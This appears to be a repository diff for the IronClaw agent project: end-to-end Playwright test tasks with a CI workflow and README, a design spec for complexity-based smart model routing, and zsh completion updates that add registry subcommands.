assistant_msg = page.locator(SEL["message_assistant"]).last
await assistant_msg.wait_for(state="visible", timeout=15000)
# Verify user message
user_msgs = page.locator(SEL["message_user"])
assert await user_msgs.count() >= 1
last_user = user_msgs.last
user_text = await last_user.text_content()
assert "2+2" in user_text or "2 + 2" in user_text
# Verify assistant response contains "4" (from mock LLM canned response)
assistant_text = await assistant_msg.text_content()
assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'"
async def test_multiple_messages(page):
"""Send two messages, verify both get responses."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# First message
await chat_input.fill("Hello")
await chat_input.press("Enter")
# Wait for first response
await page.locator(SEL["message_assistant"]).first.wait_for(
state="visible", timeout=15000
)
# Second message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for second response (at least 2 assistant messages)
await page.wait_for_function(
"""() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""",
timeout=15000,
)
# Verify counts
user_count = await page.locator(SEL["message_user"]).count()
assistant_count = await page.locator(SEL["message_assistant"]).count()
assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}"
assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}"
async def test_empty_message_not_sent(page):
"""Pressing Enter with empty input should not create a message."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
# Press Enter with empty input
await chat_input.press("Enter")
# Wait a moment and verify no new messages
await page.wait_for_timeout(2000)
final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
assert final_count == initial_count, "Empty message should not create new messages"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_chat.py
git commit -m "feat: E2E scenario 2 -- chat message round-trip tests"
```
---
### Task 7: Scenario 3 -- Skills lifecycle
**Files:**
- Create: `tests/e2e/scenarios/test_skills.py`
**Step 1: Write the test**
Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down.
```python
"""Scenario 3: Skills search, install, and remove lifecycle."""
import pytest
from helpers import SEL
async def test_skills_tab_visible(page):
"""Skills tab shows the search interface."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
panel = page.locator(SEL["tab_panel"].format(tab="skills"))
await panel.wait_for(state="visible", timeout=5000)
search_input = page.locator(SEL["skill_search_input"])
assert await search_input.is_visible(), "Skills search input not visible"
async def test_skills_search(page):
"""Search ClawHub for skills and verify results appear."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
# Wait for results (ClawHub may be slow)
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
count = await results.count()
assert count >= 1, "Expected at least 1 search result"
async def test_skills_install_and_remove(page):
"""Install a skill from search results, then remove it."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
# Search
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
# Auto-accept confirm dialogs
await page.evaluate("window.confirm = () => true")
# Install first result
install_btn = results.first.locator("button", has_text="Install")
if await install_btn.count() == 0:
pytest.skip("No installable skills found in results")
await install_btn.click()
# Wait for install to complete (installed list updates)
# The UI should show the skill in the installed section
await page.wait_for_timeout(5000)
# Check if any installed skills exist now
installed = page.locator(SEL["skill_installed"])
installed_count = await installed.count()
if installed_count == 0:
# Try scrolling or waiting longer
await page.wait_for_timeout(5000)
installed_count = await installed.count()
assert installed_count >= 1, "Skill should appear in installed list after install"
# Remove the skill
remove_btn = installed.first.locator("button", has_text="Remove")
if await remove_btn.count() > 0:
await remove_btn.click()
await page.wait_for_timeout(3000)
# Verify removed
new_count = await page.locator(SEL["skill_installed"]).count()
assert new_count < installed_count, "Skill should be removed from installed list"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_skills.py
git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests"
```
---
### Task 8: CI workflow
**Files:**
- Create: `.github/workflows/e2e.yml`
**Step 1: Write the workflow**
```yaml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
```
**Step 2: Commit**
```bash
git add .github/workflows/e2e.yml
git commit -m "ci: add weekly E2E test workflow with Playwright"
```
---
### Task 9: README
**Files:**
- Create: `tests/e2e/README.md`
**Step 1: Write the README**
```markdown
# IronClaw E2E Tests
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
## Prerequisites
- Python 3.11+
- Rust toolchain (for building ironclaw)
- Chromium (installed via Playwright)
## Setup
```bash
cd tests/e2e
pip install -e .
playwright install chromium
```
## Build ironclaw
The tests need the ironclaw binary built with libsql support:
```bash
cargo build --no-default-features --features libsql
```
## Run tests
```bash
# From repo root
pytest tests/e2e/ -v
# Run a single scenario
pytest tests/e2e/scenarios/test_chat.py -v
# With visible browser (not headless)
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
```
## Architecture
Tests start two subprocesses:
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
## Scenarios
| File | What it tests |
|------|--------------|
| `test_connection.py` | Auth, tab navigation, connection status |
| `test_chat.py` | Send message, SSE streaming, response rendering |
| `test_skills.py` | ClawHub search, skill install/remove |
## Adding new scenarios
1. Create `tests/e2e/scenarios/test_<name>.py`
2. Use the `page` fixture for a fresh browser page
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
4. Keep tests deterministic -- use the mock LLM, not real providers
```
**Step 2: Commit**
```bash
git add tests/e2e/README.md
git commit -m "docs: E2E test README with setup and usage instructions"
```
---
### Task 10: Integration test -- run all scenarios end-to-end
**Step 1: Build ironclaw**
```bash
cargo build --no-default-features --features libsql
```
**Step 2: Run the full E2E suite**
```bash
pytest tests/e2e/ -v --timeout=120
```
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
**Step 3: Fix any issues discovered during the run**
Common issues to watch for:
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
- Timing: increase wait timeouts if SSE streaming is slow
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
**Step 4: Final commit with any fixes**
```bash
git add -A tests/e2e/
git commit -m "fix: E2E test adjustments from integration run"
```
---
## Summary
| Task | Files | Description |
|------|-------|-------------|
| 1 | pyproject.toml, __init__.py | Project scaffolding |
| 2 | mock_llm.py | Mock OpenAI-compat server |
| 3 | helpers.py | Selectors and utilities |
| 4 | conftest.py | pytest fixtures |
| 5 | test_connection.py | Scenario 1: connection/tabs |
| 6 | test_chat.py | Scenario 2: chat round-trip |
| 7 | test_skills.py | Scenario 3: skills lifecycle |
| 8 | e2e.yml | CI workflow |
| 9 | README.md | Documentation |
| 10 | (integration run) | Verify everything works |
+195
View File
@@ -0,0 +1,195 @@
# Smart Model Routing for IronClaw
**Status:** Implemented
**Author:** Microwave
**Date:** 2026-02-19
## What
Automatic model selection based on request complexity. The router analyzes each user message and selects an appropriate model tier (flash/standard/pro/frontier), then maps that tier to a configured model.
## Why
1. **Cost optimization** — Simple requests ("hi", "what time is it") don't need expensive models
2. **User experience** — Simple requests return faster with lightweight models
3. **NEAR AI native** — Default backend uses NEAR AI inference where costs vary by model
4. **Zero-config value** — Users benefit immediately without configuration
5. **Not just power users** — Everyone gets smart defaults, power users can override
## How
### Architecture
```
User Message
┌──────────────────┐
│ Pattern Overrides │ ← Fast-path for obvious cases (greetings, security audits)
└────────┬─────────┘
│ no match
┌──────────────────┐
│ Complexity Scorer │ ← 13-dimension analysis
└────────┬─────────┘
│ score 0-100
┌──────────────────┐
│ Tier Mapping │ ← 0-15: flash, 16-40: standard, 41-65: pro, 66+: frontier
└────────┬─────────┘
│ tier
┌──────────────────┐
│ Model Selection │ ← Currently: cheap provider (Flash/Standard/Pro) vs primary (Frontier)
└────────┬─────────┘ Target: per-tier model mapping via config
LLM Provider
```
### Complexity Scorer (13 Dimensions)
Each dimension produces a 0-100 score. Weighted sum determines total.
| Dimension | Weight | Signals |
|-----------|--------|---------|
| Reasoning Words | 14% | "why", "explain", "compare", "trade-offs" |
| Token Estimate | 12% | Prompt length |
| Code Indicators | 10% | Backticks, syntax, "implement", "PR" |
| Multi-Step | 10% | "first", "then", "after", "steps" |
| Domain Specific | 10% | Technical terms (configurable) |
| Creativity | 7% | "write", "summarize", "tweet", "blog" |
| Question Complexity | 7% | Multiple questions, open-ended starters |
| Precision | 6% | Numbers, "exactly", "calculate" |
| Ambiguity | 5% | Vague references |
| Context Dependency | 5% | "previous", "you said" |
| Sentence Complexity | 5% | Commas, conjunctions, clause depth |
| Tool Likelihood | 5% | "read", "deploy", "install" |
| Safety Sensitivity | 4% | "password", "auth", "vulnerability" |
**Multi-dimensional boost:** +30% when 3+ dimensions score above threshold.
### Tier Boundaries
| Score | Tier | Typical Use Case |
|-------|------|------------------|
| 0-15 | flash | Greetings, acknowledgments, quick lookups |
| 16-40 | standard | Writing, comparisons, defined tasks |
| 41-65 | pro | Multi-step analysis, code review |
| 66+ | frontier | Critical decisions, security audits |
### Pattern Overrides
Fast-path rules that bypass scoring for obvious cases:
```yaml
# Force flash tier
- "^(hi|hello|hey|thanks|ok|sure|yes|no)$"
- "^what.*(time|date|day)"
# Force frontier tier
- "security.*(audit|review|scan)"
- "vulnerabilit(y|ies).*(review|scan|check|audit)"
# Force pro tier
- "deploy.*(mainnet|production)"
```
### Configuration
> **Note:** The current implementation supports smart routing via
> `NEARAI_CHEAP_MODEL` and `SMART_ROUTING_CASCADE` env vars, plus
> `domain_keywords` on `SmartRoutingConfig`. The full `llm.routing` YAML
> schema below is the target design — not all knobs are wired yet.
**Default (zero-config):**
```yaml
llm:
routing:
enabled: true # default
```
**Power user overrides (target schema):**
```yaml
llm:
routing:
enabled: true
tiers:
flash: "claude-3-5-haiku-latest"
standard: "claude-sonnet-4-5-latest"
pro: "claude-sonnet-4-5-latest"
frontier: "claude-opus-4-5-latest"
thinking:
pro: "low"
frontier: "medium"
overrides:
- pattern: "my-custom-pattern"
tier: "pro"
domain_keywords: # Custom keywords for your domain
- "mycompany"
- "myproduct"
- "internal-tool"
```
If `domain_keywords` is not set, uses `DEFAULT_DOMAIN_KEYWORDS` which covers common web3/infra terms.
**Disable routing (pin model):**
```yaml
llm:
routing:
enabled: false
model: "claude-opus-4-5"
```
**Bring your own keys:**
```yaml
llm:
backend: anthropic
api_key: "sk-..."
routing:
enabled: true # still works with external providers
```
### Integration Points
1. **RoutingProvider** — New wrapper implementing `LlmProvider` trait (like `FailoverProvider`)
2. **Scorer** — Pure function, no I/O, fast (~1ms)
3. **Config schema** — Extend `LlmConfig` with `routing` section
4. **Telemetry** — Log routing decisions for observability
### Model Agnosticism
**Critical:** No hardcoded model names in the router logic itself.
- Tier→model mappings come from config
- Default mappings use `-latest` patterns where supported
- NEAR AI backend handles actual model resolution
- Router only knows about tiers
### Layers of Control
| Layer | User Type | Config |
|-------|-----------|--------|
| 1. Zero-config | Everyone | `routing.enabled: true` (default) |
| 2. Tier tuning | Power users | Custom `routing.tiers` mapping |
| 3. Pattern overrides | Power users | Custom `routing.overrides` |
| 4. Model pinning | Power users | `routing.enabled: false` + `model: X` |
| 5. Own API keys | Power users | `backend: anthropic` + `api_key` |
## Implementation Plan
1. [x] Port scorer to Rust (`src/llm/smart_routing.rs`)
2. [x] Implement router wrapper (`src/llm/smart_routing.rs`)
3. [x] Extend config schema (`src/config.rs`)
4. [x] Wire into provider creation (`src/llm/mod.rs`)
5. [x] Add telemetry/logging
6. [x] Tests with real conversation samples
7. [x] Codex + Gemini security review
8. [x] Documentation updated (this spec)
## Expected Outcomes
- **50-70% cost reduction** for typical usage patterns
- **Faster responses** for simple requests
- **Zero config required** for default benefits
- **Full control** for power users who want it
+303 -45
View File
@@ -22,8 +22,8 @@ _ironclaw() {
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
'-V[Print version]' \
'--version[Print version]' \
":: :_ironclaw_commands" \
@@ -44,8 +44,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(onboard)
@@ -59,8 +59,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(config)
@@ -72,8 +72,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__config_commands" \
"*::: :->config" \
&& ret=0
@@ -228,8 +228,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__tool_commands" \
"*::: :->tool" \
&& ret=0
@@ -374,7 +374,47 @@ esac
;;
esac
;;
(mcp)
(registry)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__registry_commands" \
"*::: :->registry" \
&& ret=0
case $state in
(registry)
words=($line[1] "${words[@]}")
(( CURRENT += 1 ))
curcontext="${curcontext%:*:*}:ironclaw-registry-command-$line[1]:"
case $line[1] in
(list)
_arguments "${_arguments_options[@]}" : \
'-k+[Filter by kind\: "tool" or "channel"]:KIND:_default' \
'--kind=[Filter by kind\: "tool" or "channel"]:KIND:_default' \
'-t+[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
'--tag=[Filter by tag (e.g. "default", "google", "messaging")]:TAG:_default' \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'-v[Show detailed information]' \
'--verbose[Show detailed information]' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
&& ret=0
;;
(info)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
@@ -385,6 +425,93 @@ _arguments "${_arguments_options[@]}" : \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
':name -- Extension or bundle name (e.g. "slack", "google", "tools/gmail"):_default' \
&& ret=0
;;
(install)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'-f[Force overwrite if already installed]' \
'--force[Force overwrite if already installed]' \
'--build[Build from source instead of downloading pre-built artifact]' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
':name -- Extension or bundle name (e.g. "slack", "google", "default"):_default' \
&& ret=0
;;
(install-defaults)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'-f[Force overwrite if already installed]' \
'--force[Force overwrite if already installed]' \
'--build[Build from source instead of downloading pre-built artifact]' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
&& ret=0
;;
(help)
_arguments "${_arguments_options[@]}" : \
":: :_ironclaw__registry__help_commands" \
"*::: :->help" \
&& ret=0
case $state in
(help)
words=($line[1] "${words[@]}")
(( CURRENT += 1 ))
curcontext="${curcontext%:*:*}:ironclaw-registry-help-command-$line[1]:"
case $line[1] in
(list)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(info)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install-defaults)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(help)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
esac
;;
esac
;;
esac
;;
esac
;;
(mcp)
_arguments "${_arguments_options[@]}" : \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--config=[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__mcp_commands" \
"*::: :->mcp" \
&& ret=0
@@ -549,8 +676,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__memory_commands" \
"*::: :->memory" \
&& ret=0
@@ -690,8 +817,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__pairing_commands" \
"*::: :->pairing" \
&& ret=0
@@ -773,8 +900,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
":: :_ironclaw__service_commands" \
"*::: :->service" \
&& ret=0
@@ -903,8 +1030,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(status)
@@ -916,13 +1043,13 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(completion)
_arguments "${_arguments_options[@]}" : \
'--shell=[The shell to generate completions for]:SHELL:(bash zsh fish powershell elvish)' \
'--shell=[The shell to generate completions for]:SHELL:(bash elvish fish powershell zsh)' \
'-m+[Single message mode - send one message and exit]:MESSAGE:_default' \
'--message=[Single message mode - send one message and exit]:MESSAGE:_default' \
'-c+[Configuration file path (optional, uses env vars by default)]:CONFIG:_files' \
@@ -930,8 +1057,8 @@ _arguments "${_arguments_options[@]}" : \
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
'--no-db[Skip database connection (for testing)]' \
'--no-onboard[Skip first-run onboarding check]' \
'-h[Print help]' \
'--help[Print help]' \
'-h[Print help (see more with '\''--help'\'')]' \
'--help[Print help (see more with '\''--help'\'')]' \
&& ret=0
;;
(worker)
@@ -1063,6 +1190,38 @@ _arguments "${_arguments_options[@]}" : \
;;
esac
;;
(registry)
_arguments "${_arguments_options[@]}" : \
":: :_ironclaw__help__registry_commands" \
"*::: :->registry" \
&& ret=0
case $state in
(registry)
words=($line[1] "${words[@]}")
(( CURRENT += 1 ))
curcontext="${curcontext%:*:*}:ironclaw-help-registry-command-$line[1]:"
case $line[1] in
(list)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(info)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
(install-defaults)
_arguments "${_arguments_options[@]}" : \
&& ret=0
;;
esac
;;
esac
;;
(mcp)
_arguments "${_arguments_options[@]}" : \
":: :_ironclaw__help__mcp_commands" \
@@ -1235,17 +1394,18 @@ esac
(( $+functions[_ironclaw_commands] )) ||
_ironclaw_commands() {
local commands; commands=(
'run:Run the agent (default if no subcommand given)' \
'onboard:Interactive onboarding wizard' \
'config:Manage configuration settings' \
'run:Run the AI agent' \
'onboard:Run interactive setup wizard' \
'config:Manage app configs' \
'tool:Manage WASM tools' \
'mcp:Manage MCP servers (hosted tool providers)' \
'memory:Query and manage workspace memory' \
'pairing:DM pairing (approve inbound requests from unknown senders)' \
'service:Manage OS service (launchd / systemd)' \
'doctor:Probe external dependencies and validate configuration' \
'status:Show system health and diagnostics' \
'completion:Generate shell completion scripts' \
'registry:Browse/install extensions' \
'mcp:Manage MCP servers' \
'memory:Manage workspace memory' \
'pairing:Manage DM pairing' \
'service:Manage OS service' \
'doctor:Run diagnostics' \
'status:Show system status' \
'completion:Generate completions' \
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
'help:Print this message or the help of the given subcommand(s)' \
@@ -1361,17 +1521,18 @@ _ironclaw__doctor_commands() {
(( $+functions[_ironclaw__help_commands] )) ||
_ironclaw__help_commands() {
local commands; commands=(
'run:Run the agent (default if no subcommand given)' \
'onboard:Interactive onboarding wizard' \
'config:Manage configuration settings' \
'run:Run the AI agent' \
'onboard:Run interactive setup wizard' \
'config:Manage app configs' \
'tool:Manage WASM tools' \
'mcp:Manage MCP servers (hosted tool providers)' \
'memory:Query and manage workspace memory' \
'pairing:DM pairing (approve inbound requests from unknown senders)' \
'service:Manage OS service (launchd / systemd)' \
'doctor:Probe external dependencies and validate configuration' \
'status:Show system health and diagnostics' \
'completion:Generate shell completion scripts' \
'registry:Browse/install extensions' \
'mcp:Manage MCP servers' \
'memory:Manage workspace memory' \
'pairing:Manage DM pairing' \
'service:Manage OS service' \
'doctor:Run diagnostics' \
'status:Show system status' \
'completion:Generate completions' \
'worker:Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' \
'claude-bridge:Run as a Claude Code bridge inside a Docker container (internal use). Spawns the \`claude\` CLI and streams output back to the orchestrator' \
'help:Print this message or the help of the given subcommand(s)' \
@@ -1541,6 +1702,36 @@ _ironclaw__help__pairing__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help pairing list commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry_commands] )) ||
_ironclaw__help__registry_commands() {
local commands; commands=(
'list:List available extensions in the registry' \
'info:Show detailed information about an extension or bundle' \
'install:Install an extension or bundle from the registry' \
'install-defaults:Install the default bundle of recommended extensions' \
)
_describe -t commands 'ironclaw help registry commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__info_commands] )) ||
_ironclaw__help__registry__info_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry info commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__install_commands] )) ||
_ironclaw__help__registry__install_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry install commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__install-defaults_commands] )) ||
_ironclaw__help__registry__install-defaults_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry install-defaults commands' commands "$@"
}
(( $+functions[_ironclaw__help__registry__list_commands] )) ||
_ironclaw__help__registry__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw help registry list commands' commands "$@"
}
(( $+functions[_ironclaw__help__run_commands] )) ||
_ironclaw__help__run_commands() {
local commands; commands=()
@@ -1846,6 +2037,73 @@ _ironclaw__pairing__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw pairing list commands' commands "$@"
}
(( $+functions[_ironclaw__registry_commands] )) ||
_ironclaw__registry_commands() {
local commands; commands=(
'list:List available extensions in the registry' \
'info:Show detailed information about an extension or bundle' \
'install:Install an extension or bundle from the registry' \
'install-defaults:Install the default bundle of recommended extensions' \
'help:Print this message or the help of the given subcommand(s)' \
)
_describe -t commands 'ironclaw registry commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help_commands] )) ||
_ironclaw__registry__help_commands() {
local commands; commands=(
'list:List available extensions in the registry' \
'info:Show detailed information about an extension or bundle' \
'install:Install an extension or bundle from the registry' \
'install-defaults:Install the default bundle of recommended extensions' \
'help:Print this message or the help of the given subcommand(s)' \
)
_describe -t commands 'ironclaw registry help commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__help_commands] )) ||
_ironclaw__registry__help__help_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help help commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__info_commands] )) ||
_ironclaw__registry__help__info_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help info commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__install_commands] )) ||
_ironclaw__registry__help__install_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help install commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__install-defaults_commands] )) ||
_ironclaw__registry__help__install-defaults_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help install-defaults commands' commands "$@"
}
(( $+functions[_ironclaw__registry__help__list_commands] )) ||
_ironclaw__registry__help__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry help list commands' commands "$@"
}
(( $+functions[_ironclaw__registry__info_commands] )) ||
_ironclaw__registry__info_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry info commands' commands "$@"
}
(( $+functions[_ironclaw__registry__install_commands] )) ||
_ironclaw__registry__install_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry install commands' commands "$@"
}
(( $+functions[_ironclaw__registry__install-defaults_commands] )) ||
_ironclaw__registry__install-defaults_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry install-defaults commands' commands "$@"
}
(( $+functions[_ironclaw__registry__list_commands] )) ||
_ironclaw__registry__list_commands() {
local commands; commands=()
_describe -t commands 'ironclaw registry list commands' commands "$@"
}
(( $+functions[_ironclaw__run_commands] )) ||
